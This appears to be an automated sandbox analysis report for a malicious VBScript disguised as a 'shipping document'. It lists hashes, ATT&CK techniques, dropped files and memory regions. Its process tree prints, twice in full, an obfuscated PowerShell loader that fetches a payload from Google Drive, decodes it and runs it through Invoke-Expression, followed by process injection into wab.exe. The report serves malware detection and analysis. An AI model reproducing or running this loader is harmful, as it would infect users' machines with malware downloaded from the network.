35b1922951d049fedf34ebd18d57fd8acccaf65e462c6dc6308f5d63e17381ee

Analysis

max time kernel
11s
max time network
141s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
23/04/2024, 05:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

shipping document.vbs
Size

278KB
MD5

1dce662b3782fbec7c5f4f73d8e63f41
SHA1

25cf442e9e62d5a83dd81c980da84c5ec27dac75
SHA256

35b1922951d049fedf34ebd18d57fd8acccaf65e462c6dc6308f5d63e17381ee
SHA512

0b51ae1e312a172e96704371ad4a67a3a30269bba4100e92e6c2265d22696e105b51b955d23ce932f1480aa74acee4a98c512416dfa11aa266e2ca3fc27f63a1
SSDEEP

6144:LXdAYDLBLW+8A1ytW3xrbjsSFuHeEC57kdmXl45zaoGGqAP3MQ9scOcM8/DskFsO:7nS2Im3GgFVYp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2292	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2948	2292	WScript.exe	29
PID 2292 wrote to memory of 2948	2292	WScript.exe	29
PID 2292 wrote to memory of 2948	2292	WScript.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\shipping document.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Ricki = 1;$Gehenna='Substrin';$Gehenna+='g';Function Quillaia($Overbevokser){$Feasibilities=$Overbevokser.Length-$Ricki;For($Kompeni=5; $Kompeni -lt $Feasibilities; $Kompeni+=(6)){$Fortrnelse+=$Overbevokser.$Gehenna.Invoke($Kompeni, $Ricki);}$Fortrnelse;}function Standglas249($Babbittess){. ($Uti) ($Babbittess);}$Usheen=Quillaia ' S.bcM Autoo,roomzA,uatiPreenlUdspil emieaM.cov/Toakt5Ethno. Org,0Kille Het,r(EgetfW SelviNedrunSt nidva.ieogunvaw Brugsisbje propeNTidsfTAgter Stdta1Scale0Ma em.Spu.g0Rensn;A ver B,dedWUrpr,iWoundn Sprn6Hex n4Sub,e; c.to Az.mexSvine6k evr4 Non.;Perso Viruera,tndv Han,:Store1 horo2F ret1 oeme. opti0Inten)Skerr ForkrGSept,eSelebc histkLe,lio As,r/ Inhe2Tailz0Efter1.ndos0.euro0Overb1Bund 0,arav1Ore,t OperFL.udai SprurSto,ve,traafSlavio,earax .hot/ Udsu1 Eger2 Me.l1Krabd.Spinu0Maedt ';$Bogholdersker=Quillaia 'ForbiUOscilsadr.seGangwrBevat- h,ldATheurgPi kyeSemidnKrilrt Ly p ';$Fint=Quillaia 'NondihBlockt ReintEtmaapInsers Indf:Inter/defo /T pvodFryserUn aciTilb vSysseeExecr.Kurs gberr oAdfrdo Loo.gInconlAf aleGabes. .lotc Ant o SuccmGodhj/TermouMoun.cTermo?maletefo,grxNo.cupInconoCensur.ejebtBarra=apraxd pulvocohenwHan.knHol bl I.froCaseaaHyr,sdPol r&Ar,npiTrichdBestr= Gar,1Unmo oArbejD FugtjLsead9Univei Po,c8SubbabFilat8 egngBrnefDFu,le7Adspu4BordvVAr.hdU ockac.abenOGamel_Samme0Tiltrm PaynAArb.taF.rreRSkulkxUnmusSVildfOAn,ipZSmithj KorrE l,efISu.pkNU derBNucul5 Burm ';$Observandernes=Quillaia ' Gna >Stand ';$Uti=Quillaia 'DialaiM,ddeePr.dexNonex ';$Akkumulerede = Quillaia 'SkaffeNar,ocDatamhCathoou,ali Fanem%MedisaRetsgpAlligpEjersd ,maaaIndsttKomb a Meta%U,all\ LoenFWagneiTraktnTys,li PillnGinesd forssisoagt El viOve slFrilslArsh,iRetran KursgTeksteProkurUnifan Prece,eklasUd,ap1Wa,py1B tte9 Dext.ArikoU outpnAfkaliIdeal Ne,tb&F,rbi&Flamm ozaeeFiresc St,chfiguro lede Illog$Ulovm ';Standglas249 (Quillaia ' Cent$Amidog .luklY,ereogarnibRetrtaN,nirlUdate:org.nR echrerekinsPreapiKonjagHe nenMa.emeHogmorSlagte,appanpomeld.senseEgn,rsIn,ri=Ndraa( NatucF,jtimKunstd Bvre kants/ Un,oc Fic, Yemen$ Stv,AKravekTnneskKombiuFidusmlejrsuCardiltrykkeMinj rAccoueSkrivd doupeAroma)Pal,o ');Standglas249 (Quillaia ' Mask$Admirg R.shlQuarto Unrib S.deaDansel Fork: NummPReachrGlazef M.llaValgrbDiphtrGenkeiL.viskUnseneVugger,rnne=Learn$JernbFChalliKhevznUdsigtSkull. HressWolffp Un,rl UbndiStjertMa,ri(Tapet$Do,laORringb Ge,ts.nasseAk,usrRvhulvPanoraYnglen RecldFremfeZernerPsychn almueU.loosDispe)Ermel ');$Fint=$Prfabriker[0];Standglas249 (Quillaia ' Akti$actingUnderlJackpo Fidgb OptiaP mphl Pira: baanR Mde.eHejrepTilsla Lejei SkelnOve,dtuncomeCasanrderivsEti.l=FlskeNVo ubenoncuw Ho n- MethOVoldgbEf erjThyr,esen ocBin.itExtra S.cerS Egnsy Ide,sforkatHyrevemot vmchaut. UdslNBro zeHollytJuv l.GvestW ecome BrofbunlooCIncarl UdbyiFreere,aglynSpdbrtUdvik ');Standglas249 (Quillaia 'Psal.$,avshR .krieProtopTerroaCoyotiMovabnBej,st promeFlambrS.orvsI for.PrkenHColoneSpindagal.idunsupeChackrTod,msMelon[ M.sh$VrsarB Trafo sskrgSuperhefteroCeremlSigtvd Kr.bePerierho ogsJelvakIntereXyl nrTtnin] Afgi=Serve$FlertU AppesRundshUndtaeSpreweLdstenUd yt ');$Festtale=Quillaia 'HandeRSemi,eOverfpBloteaepidii Ol.jn Du.ptFizzieUphoar Ray,sVaric.MilkeDEmotio estiwUdlign IndelTeosoosilicaMtaa dAbrasFDrosliSoccilCleaneSkatt(Azafr$SlgelFKitteiOpstinMikset Dags,Crush$ BefrSvoldek draciTriphb.chizsBe,ldjUnexpostudeuUnmudr SympnPr,ddaFlytnlSlippesqua r L,vsndiasteKunstsSsy,e) dr t ';$Festtale=$Resignerendes[1]+$Festtale;$Skibsjournalernes=$Resignerendes[0];Standglas249 (Quillaia 'Brakm$LighegSurfalCongoo Fy,sbPrecoaGudbjlBar o: SupeRCleareSofa.m u maaUdkomr SchokAntila AfsobUn.rrlPeri,y Solp=Win e(TaksaT ogleeornamsM nistK,mme-,ankePIdioea Crowt RehahMedie Ballv$ Odr SInstikDetroiDorosbAperisKan.ijFruesoN,rreuV ndmrKaraknOculaa Ly,nl .asseStiftr UndenOverseBartesNu,me) St a ');while (!$Remarkably) {Standglas249 (Quillaia 'Thoma$Co trg AnorlSygelo onarbSlangaGo rmlForbr:UfuldPbrumpapapmarUnpuntExactoMflov=Forld$HitchtCorrirkussouSelvseMo.ul ') ;Standglas249 $Festtale;Standglas249 (Quillaia 'BefstSun,ontSir paconderNilavt pons-ExtraS Dus,lIs lue.udlaeLakmupulemp Yd,rs4An,sc ');Standglas249 (Quillaia 'Entir$Manipg ForglAffiloSporubManufaUkamplSprng:Bons.RMagiseMudcamprinca N porBlikkkBl,asaHed,ebv.redlStaffyNon.o=shaiv(JospiTunglaeUkends urantAfg.a- Afh.PSjaslaUpdritPers hBe rb Amor$JagttSRappokDetaciAerobbL,annsGadedjstranoToxicuFor,trStoern UndeahyldelD.wnseFormerPassenSia eeFigensUn.ea)D.min ') ;Standglas249 (Quillaia ' Summ$CrookgReprolBadehoHypoxb RickaSkotjlGener:MarkrR Heiso Av.ac Egnsk Domss SamlaOikoln mortg EklieMonoprSigurn Mer.eBe,resS.agh7H rmo1Broch=Ruske$Bredyg ,ictl Mordo SubgbLatinaBandwl.ilig: LejrrLuk.euUnderlmellol SynseOverfbKnudsrSm kit .nfo+Hu,dr+S,and%Bereg$Udde P Akt,r dundfKarataVeloubL.thir TyleiDdsmakGiol e,ilburModer.BintjcAvisuoMikrouCertinWoometMicro ') ;$Fint=$Prfabriker[$Rocksangernes71];}Standglas249 (Quillaia 'Ko,ls$Testag Frecl Forbori.orbEditoaOpklol Salv: Vi,uTFodenr FifolStvlebSalmoi SpacnForesdDokumeC.rku Noble=Gejs VanilGSaltveLrerrtPhena-,nomaCbennso rognBitt.t Nonce Evo nEftertFrste Stapl$libatSDialyk BestiRamsobAlgopsBaa.ejReg oo cycluClimar.idernKursaa irselBas,ie Gloorc,athnJuli eHem csbistt ');Standglas249 (Quillaia 'Unfee$Arbejg,opillT,lbao ikkeb Dis.aEx,rclTrigg: B triP,lvenradisdingleeBeskac Sta.iPolycpSproghD releSemidrGendaa,ottibHagi.lL,ghteCholi Papal=Katar Seren[.tomkSBivaayInters,dkldtTrakkeUnbeam viva.Z.oloCD.posoSc.nin,ourmv CoreePanserPistatE der]O,ste:Forna:Ma.teFwo,mer TestoBankkmJernsBTrs raPrgnas Fnbleparri6 Ta k4Tom eSEntaltSpicurR pariSyrernPdagogHuman(Prveb$HovedTRigsorUse slS,nsobSioldiMistvnWolfrdHor eeAntil) Be e ');Standglas249 (Quillaia 'Konom$Di,gdg NordlBroomoHyphebIn eraUnseplKofan:ExcreAUngulc,vaerr Fodse AllenArsen Ultra=,psee Ope,a[CadgiS Af,eyPetausmyeletDro,kePibrom Reli.UnderTDogmeeHemizx Engrt Fox,..illiE Chafn FlascDonkeoOmb kd RegniLegitn CephgDoesk]Stk.s: .ors: B,reA Fj.lSVulgaC,riadIA.troI Spir.HernaGYiddieFar otBedemS,roantNoncer Bi.niEjersnT.rrigPol,p(Bra,k$ Redii,atihnGr,nddSvirreRhizocKanali AnnopRunddhSubareti.anrMesocaT,lsibRaketlHjerte Kort)I.ter ');Standglas249 (Quillaia 'B,lde$ Mangg ReaclWhippoSolidbIndisaPrinclBelej:NatioDArkaii ordearevy kMyo,eoSw,atnM.yasaBes,gtHalvfeFunktrOv rhnUdefre hurb=Flitt$OpsprAUdnytc,yrdsrKnivseValsen Slum. rei,sFabriuContabTaroksPeriptm llerdbefoiDatamndk,lag pla (Paa a2Lirke9Preco5Poste6 U.fr3facon8Fabri,Bem.n2 Anst9boart2Aflej1Enfon9I.can)Aotea ');Standglas249 $Diakonaterne;"
  2⤵
  PID:2948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Finindstillingernes119.Uni && echo $"
    3⤵
    PID:2784
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Ricki = 1;$Gehenna='Substrin';$Gehenna+='g';Function Quillaia($Overbevokser){$Feasibilities=$Overbevokser.Length-$Ricki;For($Kompeni=5; $Kompeni -lt $Feasibilities; $Kompeni+=(6)){$Fortrnelse+=$Overbevokser.$Gehenna.Invoke($Kompeni, $Ricki);}$Fortrnelse;}function Standglas249($Babbittess){. ($Uti) ($Babbittess);}$Usheen=Quillaia ' S.bcM Autoo,roomzA,uatiPreenlUdspil emieaM.cov/Toakt5Ethno. Org,0Kille Het,r(EgetfW SelviNedrunSt nidva.ieogunvaw Brugsisbje propeNTidsfTAgter Stdta1Scale0Ma em.Spu.g0Rensn;A ver B,dedWUrpr,iWoundn Sprn6Hex n4Sub,e; c.to Az.mexSvine6k evr4 Non.;Perso Viruera,tndv Han,:Store1 horo2F ret1 oeme. opti0Inten)Skerr ForkrGSept,eSelebc histkLe,lio As,r/ Inhe2Tailz0Efter1.ndos0.euro0Overb1Bund 0,arav1Ore,t OperFL.udai SprurSto,ve,traafSlavio,earax .hot/ Udsu1 Eger2 Me.l1Krabd.Spinu0Maedt ';$Bogholdersker=Quillaia 'ForbiUOscilsadr.seGangwrBevat- h,ldATheurgPi kyeSemidnKrilrt Ly p ';$Fint=Quillaia 'NondihBlockt ReintEtmaapInsers Indf:Inter/defo /T pvodFryserUn aciTilb vSysseeExecr.Kurs gberr oAdfrdo Loo.gInconlAf aleGabes. .lotc Ant o SuccmGodhj/TermouMoun.cTermo?maletefo,grxNo.cupInconoCensur.ejebtBarra=apraxd pulvocohenwHan.knHol bl I.froCaseaaHyr,sdPol r&Ar,npiTrichdBestr= Gar,1Unmo oArbejD FugtjLsead9Univei Po,c8SubbabFilat8 egngBrnefDFu,le7Adspu4BordvVAr.hdU ockac.abenOGamel_Samme0Tiltrm PaynAArb.taF.rreRSkulkxUnmusSVildfOAn,ipZSmithj KorrE l,efISu.pkNU derBNucul5 Burm ';$Observandernes=Quillaia ' Gna >Stand ';$Uti=Quillaia 'DialaiM,ddeePr.dexNonex ';$Akkumulerede = Quillaia 'SkaffeNar,ocDatamhCathoou,ali Fanem%MedisaRetsgpAlligpEjersd ,maaaIndsttKomb a Meta%U,all\ LoenFWagneiTraktnTys,li PillnGinesd forssisoagt El viOve slFrilslArsh,iRetran KursgTeksteProkurUnifan Prece,eklasUd,ap1Wa,py1B tte9 Dext.ArikoU outpnAfkaliIdeal Ne,tb&F,rbi&Flamm ozaeeFiresc St,chfiguro lede Illog$Ulovm ';Standglas249 (Quillaia ' Cent$Amidog .luklY,ereogarnibRetrtaN,nirlUdate:org.nR echrerekinsPreapiKonjagHe nenMa.emeHogmorSlagte,appanpomeld.senseEgn,rsIn,ri=Ndraa( NatucF,jtimKunstd Bvre kants/ Un,oc Fic, Yemen$ Stv,AKravekTnneskKombiuFidusmlejrsuCardiltrykkeMinj rAccoueSkrivd doupeAroma)Pal,o ');Standglas249 (Quillaia ' Mask$Admirg R.shlQuarto Unrib S.deaDansel Fork: NummPReachrGlazef M.llaValgrbDiphtrGenkeiL.viskUnseneVugger,rnne=Learn$JernbFChalliKhevznUdsigtSkull. HressWolffp Un,rl UbndiStjertMa,ri(Tapet$Do,laORringb Ge,ts.nasseAk,usrRvhulvPanoraYnglen RecldFremfeZernerPsychn almueU.loosDispe)Ermel ');$Fint=$Prfabriker[0];Standglas249 (Quillaia ' Akti$actingUnderlJackpo Fidgb OptiaP mphl Pira: baanR Mde.eHejrepTilsla Lejei SkelnOve,dtuncomeCasanrderivsEti.l=FlskeNVo ubenoncuw Ho n- MethOVoldgbEf erjThyr,esen ocBin.itExtra S.cerS Egnsy Ide,sforkatHyrevemot vmchaut. UdslNBro zeHollytJuv l.GvestW ecome BrofbunlooCIncarl UdbyiFreere,aglynSpdbrtUdvik ');Standglas249 (Quillaia 'Psal.$,avshR .krieProtopTerroaCoyotiMovabnBej,st promeFlambrS.orvsI for.PrkenHColoneSpindagal.idunsupeChackrTod,msMelon[ M.sh$VrsarB Trafo sskrgSuperhefteroCeremlSigtvd Kr.bePerierho ogsJelvakIntereXyl nrTtnin] Afgi=Serve$FlertU AppesRundshUndtaeSpreweLdstenUd yt ');$Festtale=Quillaia 'HandeRSemi,eOverfpBloteaepidii Ol.jn Du.ptFizzieUphoar Ray,sVaric.MilkeDEmotio estiwUdlign IndelTeosoosilicaMtaa dAbrasFDrosliSoccilCleaneSkatt(Azafr$SlgelFKitteiOpstinMikset Dags,Crush$ BefrSvoldek draciTriphb.chizsBe,ldjUnexpostudeuUnmudr SympnPr,ddaFlytnlSlippesqua r L,vsndiasteKunstsSsy,e) dr t ';$Festtale=$Resignerendes[1]+$Festtale;$Skibsjournalernes=$Resignerendes[0];Standglas249 (Quillaia 'Brakm$LighegSurfalCongoo Fy,sbPrecoaGudbjlBar o: SupeRCleareSofa.m u maaUdkomr SchokAntila AfsobUn.rrlPeri,y Solp=Win e(TaksaT ogleeornamsM nistK,mme-,ankePIdioea Crowt RehahMedie Ballv$ Odr SInstikDetroiDorosbAperisKan.ijFruesoN,rreuV ndmrKaraknOculaa Ly,nl .asseStiftr UndenOverseBartesNu,me) St a ');while (!$Remarkably) {Standglas249 (Quillaia 'Thoma$Co trg AnorlSygelo onarbSlangaGo rmlForbr:UfuldPbrumpapapmarUnpuntExactoMflov=Forld$HitchtCorrirkussouSelvseMo.ul ') ;Standglas249 $Festtale;Standglas249 (Quillaia 'BefstSun,ontSir paconderNilavt pons-ExtraS Dus,lIs lue.udlaeLakmupulemp Yd,rs4An,sc ');Standglas249 (Quillaia 'Entir$Manipg ForglAffiloSporubManufaUkamplSprng:Bons.RMagiseMudcamprinca N porBlikkkBl,asaHed,ebv.redlStaffyNon.o=shaiv(JospiTunglaeUkends urantAfg.a- Afh.PSjaslaUpdritPers hBe rb Amor$JagttSRappokDetaciAerobbL,annsGadedjstranoToxicuFor,trStoern UndeahyldelD.wnseFormerPassenSia eeFigensUn.ea)D.min ') ;Standglas249 (Quillaia ' Summ$CrookgReprolBadehoHypoxb RickaSkotjlGener:MarkrR Heiso Av.ac Egnsk Domss SamlaOikoln mortg EklieMonoprSigurn Mer.eBe,resS.agh7H rmo1Broch=Ruske$Bredyg ,ictl Mordo SubgbLatinaBandwl.ilig: LejrrLuk.euUnderlmellol SynseOverfbKnudsrSm kit .nfo+Hu,dr+S,and%Bereg$Udde P Akt,r dundfKarataVeloubL.thir TyleiDdsmakGiol e,ilburModer.BintjcAvisuoMikrouCertinWoometMicro ') ;$Fint=$Prfabriker[$Rocksangernes71];}Standglas249 (Quillaia 'Ko,ls$Testag Frecl Forbori.orbEditoaOpklol Salv: Vi,uTFodenr FifolStvlebSalmoi SpacnForesdDokumeC.rku Noble=Gejs VanilGSaltveLrerrtPhena-,nomaCbennso rognBitt.t Nonce Evo nEftertFrste Stapl$libatSDialyk BestiRamsobAlgopsBaa.ejReg oo cycluClimar.idernKursaa irselBas,ie Gloorc,athnJuli eHem csbistt ');Standglas249 (Quillaia 'Unfee$Arbejg,opillT,lbao ikkeb Dis.aEx,rclTrigg: B triP,lvenradisdingleeBeskac Sta.iPolycpSproghD releSemidrGendaa,ottibHagi.lL,ghteCholi Papal=Katar Seren[.tomkSBivaayInters,dkldtTrakkeUnbeam viva.Z.oloCD.posoSc.nin,ourmv CoreePanserPistatE der]O,ste:Forna:Ma.teFwo,mer TestoBankkmJernsBTrs raPrgnas Fnbleparri6 Ta k4Tom eSEntaltSpicurR pariSyrernPdagogHuman(Prveb$HovedTRigsorUse slS,nsobSioldiMistvnWolfrdHor eeAntil) Be e ');Standglas249 (Quillaia 'Konom$Di,gdg NordlBroomoHyphebIn eraUnseplKofan:ExcreAUngulc,vaerr Fodse AllenArsen Ultra=,psee Ope,a[CadgiS Af,eyPetausmyeletDro,kePibrom Reli.UnderTDogmeeHemizx Engrt Fox,..illiE Chafn FlascDonkeoOmb kd RegniLegitn CephgDoesk]Stk.s: .ors: B,reA Fj.lSVulgaC,riadIA.troI Spir.HernaGYiddieFar otBedemS,roantNoncer Bi.niEjersnT.rrigPol,p(Bra,k$ Redii,atihnGr,nddSvirreRhizocKanali AnnopRunddhSubareti.anrMesocaT,lsibRaketlHjerte Kort)I.ter ');Standglas249 (Quillaia 'B,lde$ Mangg ReaclWhippoSolidbIndisaPrinclBelej:NatioDArkaii ordearevy kMyo,eoSw,atnM.yasaBes,gtHalvfeFunktrOv rhnUdefre hurb=Flitt$OpsprAUdnytc,yrdsrKnivseValsen Slum. rei,sFabriuContabTaroksPeriptm llerdbefoiDatamndk,lag pla (Paa a2Lirke9Preco5Poste6 U.fr3facon8Fabri,Bem.n2 Anst9boart2Aflej1Enfon9I.can)Aotea ');Standglas249 $Diakonaterne;"
    3⤵
    PID:2444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Finindstillingernes119.Uni && echo $"
      4⤵
      PID:1848
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      PID:1656

C:\Windows\SysWOW64\openfiles.exe
"C:\Windows\SysWOW64\openfiles.exe"
1⤵
PID:3060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
b8a87fd58a6715bda230dfcbe2453a8d

SHA1
28cf695438e93ee357f2a67b4e30debdbf50f153

SHA256
ffa04debe56d827a866998af1ca6d461c17cc752c9ddbd9773db2ff3d61ad42f

SHA512
8fd01e4c9c3fc1cc127298c40670ab8fa8b051064d6dc47e20ef1761ecd3d89ef2eb8543b9fb1d87983e588d931a7a669e6a8c60701280040f1893d95eb35973

Download Submit
C:\Users\Admin\AppData\Roaming\Finindstillingernes119.Uni

Filesize
422KB

MD5
af535dcbb662b0a33195e62523475006

SHA1
5fde78818872aede6c1db9c660702775b8254961

SHA256
e61232040beb48a5e1e73664cc1e066c5c8a633a67d6b219669121c0fd0ddf55

SHA512
2da2e2240ad6a4ae1ec10714cb38f37ace6a173e6122b1e7513e9768a496e25ef433305328143df92dc02b4980977f4396c5e4074050387f607792674a7e3362

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MHF9RN0HTYZSL8I1LBGD.temp

Filesize
7KB

MD5
7de1cac86cc45a8ca1dfe8802f75c325

SHA1
d553b97e788acd244631876cfd0630032af72a48

SHA256
a1f6df01c4648b44cbf7ac72845c5c61ecda061f74d68581266a9a0fd8c5b195

SHA512
4ccd8da319e2544c3efb5fd8b51284aa198aeb0cebf89d9208e8fcbb99c39f6e04cbc3dff90cc7edfa4241f95c66b31087560b83189c516071b814373464d0e9

Download Submit
memory/1200-102-0x0000000008A50000-0x0000000008F30000-memory.dmp

Filesize
4.9MB

Download
memory/1656-92-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-93-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-96-0x000000001E560000-0x000000001E863000-memory.dmp

Filesize
3.0MB

Download
memory/1656-101-0x0000000000320000-0x000000000033C000-memory.dmp

Filesize
112KB

Download
memory/1656-95-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-94-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-91-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-100-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-56-0x0000000001040000-0x0000000002AF3000-memory.dmp

Filesize
26.7MB

Download
memory/1656-97-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-88-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-86-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-85-0x0000000001040000-0x0000000002AF3000-memory.dmp

Filesize
26.7MB

Download
memory/1656-105-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-106-0x0000000001040000-0x0000000002AF3000-memory.dmp

Filesize
26.7MB

Download
memory/1656-61-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1656-60-0x0000000077116000-0x0000000077117000-memory.dmp

Filesize
4KB

Download
memory/1656-59-0x00000000770E0000-0x00000000771B6000-memory.dmp

Filesize
856KB

Download
memory/1656-58-0x0000000076EF0000-0x0000000077099000-memory.dmp

Filesize
1.7MB

Download
memory/2444-55-0x00000000770E0000-0x00000000771B6000-memory.dmp

Filesize
856KB

Download
memory/2444-89-0x0000000006100000-0x0000000007BB3000-memory.dmp

Filesize
26.7MB

Download
memory/2444-51-0x0000000006100000-0x0000000007BB3000-memory.dmp

Filesize
26.7MB

Download
memory/2444-52-0x0000000076EF0000-0x0000000077099000-memory.dmp

Filesize
1.7MB

Download
memory/2444-54-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

Filesize
1024KB

Download
memory/2444-33-0x0000000072F30000-0x00000000734DB000-memory.dmp

Filesize
5.7MB

Download
memory/2444-49-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2444-57-0x0000000006100000-0x0000000007BB3000-memory.dmp

Filesize
26.7MB

Download
memory/2444-47-0x00000000051B0000-0x00000000051B1000-memory.dmp

Filesize
4KB

Download
memory/2444-46-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2444-45-0x0000000072F30000-0x00000000734DB000-memory.dmp

Filesize
5.7MB

Download
memory/2444-44-0x0000000072F30000-0x00000000734DB000-memory.dmp

Filesize
5.7MB

Download
memory/2444-43-0x0000000005CC0000-0x0000000005DC0000-memory.dmp

Filesize
1024KB

Download
memory/2444-42-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2444-35-0x0000000002660000-0x00000000026A0000-memory.dmp

Filesize
256KB

Download
memory/2444-34-0x0000000072F30000-0x00000000734DB000-memory.dmp

Filesize
5.7MB

Download
memory/2444-48-0x0000000006100000-0x0000000007BB3000-memory.dmp

Filesize
26.7MB

Download
memory/2444-87-0x0000000072F30000-0x00000000734DB000-memory.dmp

Filesize
5.7MB

Download
memory/2948-90-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

Filesize
9.6MB

Download
memory/2948-26-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2948-38-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2948-37-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

Filesize
9.6MB

Download
memory/2948-40-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2948-41-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2948-21-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2948-28-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2948-27-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2948-39-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2948-25-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

Filesize
9.6MB

Download
memory/2948-22-0x0000000002090000-0x0000000002098000-memory.dmp

Filesize
32KB

Download
memory/2948-23-0x000007FEF51F0000-0x000007FEF5B8D000-memory.dmp

Filesize
9.6MB

Download
memory/2948-24-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/3060-104-0x0000000000080000-0x00000000000BF000-memory.dmp

Filesize
252KB

Download
memory/3060-103-0x0000000000080000-0x00000000000BF000-memory.dmp

Filesize
252KB

Download
memory/3060-107-0x0000000001F50000-0x0000000002253000-memory.dmp

Filesize
3.0MB

Download
memory/3060-108-0x0000000000080000-0x00000000000BF000-memory.dmp

Filesize
252KB

Download
memory/3060-109-0x0000000002300000-0x000000000239B000-memory.dmp

Filesize
620KB

Download